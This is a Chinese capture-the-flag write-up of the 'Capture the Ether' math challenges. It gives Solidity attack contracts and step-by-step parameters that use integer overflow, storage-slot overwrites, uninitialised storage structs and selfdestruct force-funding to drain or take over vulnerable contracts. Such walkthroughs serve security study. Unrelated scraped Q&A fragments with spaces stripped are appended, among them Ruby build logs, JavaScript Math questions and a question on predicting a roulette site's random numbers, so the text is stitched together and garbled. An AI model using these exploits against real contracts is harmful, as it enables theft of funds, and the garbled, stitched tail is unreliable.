这个栏目考察的都是一些数学方面的知识
代码:
pragma solidity ^0.4.21;
contract TokenSaleChallenge {
mapping(address => uint256) public balanceOf;
uint256 constant PRICE_PER_TOKEN = 1 ether;
function TokenSaleChallenge(address _player) public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance < 1 ether;
}
function buy(uint256 numTokens) public payable {
require(msg.value == numTokens * PRICE_PER_TOKEN);
balanceOf[msg.sender] += numTokens;
}
function sell(uint256 numTokens) public {
require(balanceOf[msg.sender] >= numTokens);
balanceOf[msg.sender] -= numTokens;
msg.sender.transfer(numTokens * PRICE_PER_TOKEN);
}
}
isComplete函数要求我们本合约的余额要小于 1 ether,这个代码提供了 buy 和 sell 函数,让我们可以以 1 numToken :1 ether 的汇率购买和卖出 numToken 。我们发现在 buy 函数中有这么一行代码:
require(msg.value == numTokens * PRICE_PER_TOKEN);
我们知道 EVM 虚拟机最大只有 256 位,即最大值为 2 ** 256 - 1,所以当我们输入的numTokens是一个很大的值的时候,就会溢出,让我们用小于一个 ether 的价格买到一个 Token。
在remix中我们可以通过这样的代码来计算:
pragma solidity ^0.8.0;
contract attack{
uint256 public max2;
uint256 public max10;
uint256 public numToken;
uint256 public value;
function setNumber() public {
max2 = 2**256 - 1;
max10 = 10**18;
}
function getResult() public {
numToken = max2 / max10 + 1;
value = 10**18 - max2 % 10**18 - 1;
}
}

在目标合约中调用 buy 函数,输入参数为我们算出来的 numToken,msg.value 是我们算出来的value:

此时我们地址的余额就很多了:

调用 sell 函数取出 1 ether 即可:

代码:
pragma solidity ^0.4.21;
contract TokenWhaleChallenge {
address player;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
string public name = "Simple ERC20 Token";
string public symbol = "SET";
uint8 public decimals = 18;
function TokenWhaleChallenge(address _player) public {
player = _player;
totalSupply = 1000;
balanceOf[player] = 1000;
}
function isComplete() public view returns (bool) {
return balanceOf[player] >= 1000000;
}
event Transfer(address indexed from, address indexed to, uint256 value);
function _transfer(address to, uint256 value) internal {
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
}
function transfer(address to, uint256 value) public {
require(balanceOf[msg.sender] >= value);
require(balanceOf[to] + value >= balanceOf[to]);
_transfer(to, value);
}
event Approval(address indexed owner, address indexed spender, uint256 value);
function approve(address spender, uint256 value) public {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
}
function transferFrom(address from, address to, uint256 value) public {
require(balanceOf[from] >= value);
require(balanceOf[to] + value >= balanceOf[to]);
require(allowance[from][msg.sender] >= value);
allowance[from][msg.sender] -= value;
_transfer(to, value);
}
}
isComplete 函数要求 player 的余额大于 1000000,观察代码,我们会发现漏洞就在合约的 _transfer 函数里:
function _transfer(address to, uint256 value) internal {
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
}
我会发现,执行 _transfer 函数时,它扣除的是 msg.sender 的钱,而不是 from 地址的钱,通过这个漏洞,我们可以使用三个用户来增加 player 的钱:
用户 A:0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
用户 B:0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2
用户 C:0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db
player 设置为用户 A
1. 切换到用户 A,调用 approve 函数向用户 B 批准金额,金额只要大于 0 小于 2** 256 - 1 即可:

2. 切换到用户 B,调用 transferFrom 函数向用户 C 转账,金额小于上一步 approve 的金额即可。因为此时用户 B 的金额为 0,减少之后就会下溢变成一个很大的数字:

3. 调用 transfer 函数向用户 A 转账即可:

代码:
pragma solidity ^0.4.21;
contract RetirementFundChallenge {
uint256 startBalance;
address owner = msg.sender;
address beneficiary;
uint256 expiration = now + 10 years;
function RetirementFundChallenge(address player) public payable {
require(msg.value == 1 ether);
beneficiary = player;
startBalance = msg.value;
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function withdraw() public {
require(msg.sender == owner);
if (now < expiration) {
// early withdrawal incurs a 10% penalty
msg.sender.transfer(address(this).balance * 9 / 10);
} else {
msg.sender.transfer(address(this).balance);
}
}
function collectPenalty() public {
require(msg.sender == beneficiary);
uint256 withdrawn = startBalance - address(this).balance;
// an early withdrawal occurred
require(withdrawn > 0);
// penalty is what's left
msg.sender.transfer(address(this).balance);
}
}
isComplete 函数要求我们本合约的余额为 0,合约部署者在银行中存了 1 ether,并且要 10 年之后才能取出来,如果他在这 10 年里取了钱,就会损失 10% 的钱。合约中的 withdraw 函数只有部署这才能调用,所以我们把重心放在 collectPenalty 函数上,这个函数要求 withdrawn 变量的值大于零,我们就可以把钱取出来,因为 startBalance 是一开始就确认好的,所以我们只能增加合约的钱,但是合约中没有可交易的 fallback 函数也没有 receive 函数,所以我们只能通过 selfdestruct 函数来强制给合约转钱。
攻击合约:
pragma solidity ^0.4.21;
import "./RetirementFund.sol";
contract RetirementFundChallengeAttack {
RetirementFundChallenge challenge;
constructor(address _addr) public {
challenge = RetirementFundChallenge(_addr);
}
function pay() public payable {}
function addToken(address _addr) public {
selfdestruct(_addr);
}
}
先给我们的攻击合约转 1 ether,在调用 addToken 函数,给目标合约转钱,再调用 collectPenalty 函数即可:

代码:
pragma solidity ^0.4.21;
contract MappingChallenge {
bool public isComplete;
uint256[] map;
function set(uint256 key, uint256 value) public {
// Expand dynamic array as needed
if (map.length <= key) {
map.length = key + 1;
}
map[key] = value;
}
function get(uint256 key) public view returns (uint256) {
return map[key];
}
isComplete 函数要求我么本合约的金额为 0,这道题的代码很短,合约中没有任何直接修改 isComplete 的函数,我们只能从 map 这个数组入手,我们注意到这行代码:
map.length = key + 1;
在这里 map 的 length 可能会发生溢出,因为 isComplete 存储在 slot0 中,所以我们可以找到一个值,使得其溢出之后刚好覆盖到 slot0。
动态数组 map 占据了 slot1 存储,但里面存储的只是 map 的长度,真正的数据是从 keccak256(slot) + index 开始存储的,即:map[0] 存储在 keccak256(1) 处,由此可知,计算公式即为:
map[isComplete] = 2**256 - uint256(keccack256(bytes32(1)))
pragma solidity ^0.4.21;
contract MappingChallenge {
uint256 max2 = 2**256 - 1;
function get() public returns (uint256) {
return max2 - uint256(keccak256(bytes32(1))) + 1;
}
}
部署两个合约,调用攻击合约计算出 isComplete 在数组中的位置:


在目标合约中调用 set 函数,输入 key 为我们计算出的值,value 为 1 (true = 1):

代码:
pragma solidity ^0.4.21;
contract DonationChallenge {
struct Donation {
uint256 timestamp;
uint256 etherAmount;
}
Donation[] public donations;
address public owner;
function DonationChallenge() public payable {
require(msg.value == 1 ether);
owner = msg.sender;
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function donate(uint256 etherAmount) public payable {
// amount is in ether, but msg.value is in wei
uint256 scale = 10**18 * 1 ether;
require(msg.value == etherAmount / scale);
Donation donation;
donation.timestamp = now;
donation.etherAmount = etherAmount;
donations.push(donation);
}
function withdraw() public {
require(msg.sender == owner);
msg.sender.transfer(address(this).balance);
}
}
isComplete 函数要求我们本合约的余额为 0,这个合约代码的问题是在于这行代码:
Donation donation;
结构体的声明并没有初始化,就没有赋予存储空间,所以 donation 会存储在 slot0 中,然后为结构体在函数内非显式地初始化的时候会使用storage存储而不是memory,又因为 owner 是存储在 slot1 中的,所以我们就可以通过更改 donation.etherAmount 来覆盖 owner 的值;
注意 etherAmount 是一个 uint256 类型的,所以我们要把调用者的地址显式转换为 uint256 ;同时,donate 函数还要求我们传入的金额要等于 etherAmount / scale ,即 etherAmount / 10**36:
pragma solidity ^0.4.21;
contract DonationChallenge {
function getNum() public view returns(uint256) {
return uint256(msg.sender);
}
function getValue() public view returns(uint256) {
return getNum() / 10**18 / 10**18;
}
}
部署目标合约,调用 donate 函数,输入 etherAmount 为我们 getNum 计算出的值,msg.value 为 getValue 的值:


代码:
pragma solidity ^0.4.21;
contract FiftyYearsChallenge {
struct Contribution {
uint256 amount;
uint256 unlockTimestamp;
}
Contribution[] queue;
uint256 head;
address owner;
function FiftyYearsChallenge(address player) public payable {
require(msg.value == 1 ether);
owner = player;
queue.push(Contribution(msg.value, now + 50 years));
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function upsert(uint256 index, uint256 timestamp) public payable {
require(msg.sender == owner);
if (index >= head && index < queue.length) {
// Update existing contribution amount without updating timestamp.
Contribution storage contribution = queue[index];
contribution.amount += msg.value;
} else {
// Append a new contribution. Require that each contribution unlock
// at least 1 day after the previous one.
require(timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days);
contribution.amount = msg.value;
contribution.unlockTimestamp = timestamp;
queue.push(contribution);
}
}
function withdraw(uint256 index) public {
require(msg.sender == owner);
require(now >= queue[index].unlockTimestamp);
// Withdraw this and any earlier contributions.
uint256 total = 0;
for (uint256 i = head; i <= index; i++) {
total += queue[i].amount;
// Reclaim storage.
delete queue[i];
}
// Move the head of the queue forward so we don't have to loop over
// already-withdrawn contributions.
head = index + 1;
msg.sender.transfer(total);
}
}
isComplete 函数要求我们本合约的余额为 0,通过前几关的知识,我们可以知道:
1. upsert 函数中的 contribution.amount 和 contribution.unlockTimestamp 的赋值可以分别覆盖掉 queue数组的长度 和 head 变量。
2. 在 upsert 函数中下面的代码 :
require(timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days);
会发生上溢,所以我们找到一个 timestamp 使得其加 1 days 刚好会溢出为 0,我们就可以把取钱的时间设置为 0。
1. 计算 timestamp(时间是以秒计算的,金额是以 wei 计算的):
pragma solidity ^0.4.21;
contract attack {
uint256 max2 = 2**256 - 1;
uint256 oneDay = 24 * 60 * 60;
function getNum() public returns(uint256) {
return max2 - oneDay + 1;
}
}

2. 部署目标合约,调用 upsert 函数,输入 index 为 1,timestamp 为我们算出来的值,msg.value = 1 wei :

3. 再次调用 upsert 函数,输入 index 为 2,timestamp 为 0,msg.value = 2 wei :

4. 此时就可以调用 withdraw 函数, 输入 index 为 2,取出合约中的钱,但是,当我们调用 withdraw 函数的时候,会发现调用失败,查阅了其他资料后发现:
queue.length 和 amount 是占据的同一块存储,所以当 queue.length 增加的时候 amount 的值也会增加,即当我们 index 等于 1 时,queue 数组进行了 push 操作,queue.length 增加了 1,所以 amount 也加了 1,即 2 wei,所以当我们调用 withdraw 函数时,要取出的钱大于合约中有的钱,就会报错。
- Contribution 0 (made by CTE): contribution.amount == msg.value == 1 ETH;
- Contribution 1 (us): contribution.amount == msg.value == 1 wei + `queue.push` == 2 wei;
- Contribution 2 (us): contribution.amount == msg.value == 2 wei + `queue.push` == 3 wei;
- Contract total == 1.00...03 ETH, Contributions total == 1.00...05 ETH.
文章链接
https://mirror.xyz/kyrers.eth/dSjaARoTkYitJyQA8CFKLrS5CXbRVf-K4ol8Nla-bj0
我们实际的合约金额为1.000000000000000003 ETH,但是我们要取的金额为1.000000000000000005 ETH,那我们怎么办呢?其中一种做法就是写一个自毁合约,来给目标合约转 2 wei 就可以了:
pragma solidity ^0.4.21;
contract attack {
function pay() public payable {}
function addToken(address _addr) public {
selfdestruct(_addr);
}
}

调用 withdraw 函数即可,输入 index 为 2 即可:
这真的很奇怪::josh@josh;wgetftp://ftp.ruby-lang.org/pub/ruby/1.8/ruby-1.8.7.tar.bz2:josh@josh;tarxvjfruby-1.8.7.tar.bz2:josh@josh;cdruby-1.8.7/:josh@josh;CFLAGS='-O0-g-Wall'./configure--disable-pthread:josh@josh;makegcc-O0-g-Wall-DRUBY_EXPORT-D_GNU_SOURCE=1-I.-I.-carray.c[...]gcc-O0-g-Wall-DRUBY_EXPOR
Math中的方法可以像类方法一样调用:Math.cos(0)但也可以是include-d像实例方法:includeMathcos(0)相比之下,以下模块只能以一种方式调用,而不能以另一种方式调用:moduleFoodefbarendendFoo.bar()#NoMethodErrorforthiscallincludeFoobar()#butthiscallisfine单例方法:moduleFoodefself.barendendFoo.bar()#thiscallisfineincludeFoobar()#butnotthisone知道如何编写像Math这样的模块吗?
我想知道这是不是真的:当我对一个平方整数求平方根时,就像在f=Math.sqrt(123*123)我将得到一个非常接近123的float。由于浮点表示精度,这可能类似于122.99999999999999999999或123.000000000000000000001。因为floor(122.999999999999999999)是122,我应该得到122而不是123。所以我希望floor(sqrt(i*i))==i-1在大约50%的情况下。奇怪的是,对于我测试过的所有数字,floor(sqrt(i*i)==i。这是一个用于测试前1亿个数字的小ruby脚本:100_000_000.
我想知道如何在Ruby中获得幂的倒数?2**4#=>16然后我想得到它的逆,但我不确定要使用哪个运算符16??2#=>4 最佳答案 指数的倒数是对数。如果ab=c,然后logac=b.您可以在Math中找到对数函数模块,特别是log()对于base-e和log10()以10为基数。要获得以不同为底的对数(例如n),请使用公式logNa=logxa/logxN,其中x是一个值,例如e或10。针对您的特定案例:log216=loge16/loge2=Math.log(16)/Math.log(2)=4你认为这个解释是好的是因为它扩展了你
我正在使用MathJax来呈现一些数学。我如何摆脱左下角的这条消息?我在MathJax的docs中找不到这个. 最佳答案 这是一个状态栏。每MathJax-Docs,您可以在加载mathjax之前通过将消息样式设置为none来关闭它:MathJax.Hub.Config({messageStyle:"none"}); 关于javascript-MathJax:如何删除"Typesettingmath:100%"显示消息,我们在StackOverflow上找到一个类似的问题:
如果你让我获取数组的最大值,我会这样做:varnums=[66,3,8,213,965,1,453];Math.max.apply(Math,nums);当然,我也可以这样做:nums.sort(function(a,b){returna-b}.pop(nums.length);但我必须诚实。我需要知道为什么有效-使用.apply(Math,nums)。如果我这样做:Math.max(nums);那是行不通的。通过使用apply,我传入Math作为this-以及数组的nums。但我想知道前者有效而后者无效的“为什么”的复杂性。发生了什么魔法?有一些基本的东西我没有全神贯注。我已经阅读了
刚刚在Javascript中尝试在for循环的条件(这就是所谓的?)中生成随机数时遇到了一些有趣的事情。所以,如果我要编写这样的代码:for(vari=0;i它会返回这样的结果:958332684456335345311但是如果我要在第二个for循环之前在变量中生成一个随机数:for(vari=0;i它会返回这样的结果:11131421919171921851518211916151320这里究竟发生了什么?这让我困惑了一会儿。for循环中的Math.random()是否在每次迭代后生成一个新的随机数?循环是否运行代码、迭代和检查条件,并在每次检查条件时生成一个新的随机数?这就是正在发
在IEEE754-2008节"9.2.1Specialvalues"有提到pow(+1,y)is1foranyy(evenaquietNaN)如果没有阅读整个文档,维基百科给出了shortcut:The2008versionoftheIEEE754standardsaysthatpow(1,qNaN)andpow(qNaN,0)shouldbothreturn1sincetheyreturn1whateverelseisusedinsteadofquietNaN.为什么Math.pow(1,NaN)在JavaScript中是NaN?不符合标准吗? 最佳答案
如果轮盘游戏网站csgopolygon.com正在调用Math.random和Math.floor,我如何预测它的结果? 最佳答案 您认为在理论上可以预测Math.random结果的直觉是正确的。这就是为什么,如果你想构建一个游戏/赌博应用程序,你应该确保使用cryptographicallysecurepseudo-randomnumbergenerator.如果他们正在使用这样的东西,那就别管它了。但是,如果您是正确的,并且他们使用System.time作为Java附带的标准随机数生成器的种子,那么可能有办法。这将涉及生成数百万
这个问题在这里已经有了答案:Math.powwithnegativenumbersandnon-integerpowers(2个答案)关闭8年前。我观察到以下Javascript行为:>Math.pow(4,2)16>Math.pow(4,2.1)18.37917367995256>Math.pow(4,0.5)2>Math.pow(-4,2)16>Math.pow(-4,2.1)NaN>Math.pow(-4,0.5)NaN为什么给一个负数和一个非整数但有理数,使Math.pow返回NaN?例如,为什么Math.pow(4,0.5)不是NaN而是Math.pow(4,-0.5)是Na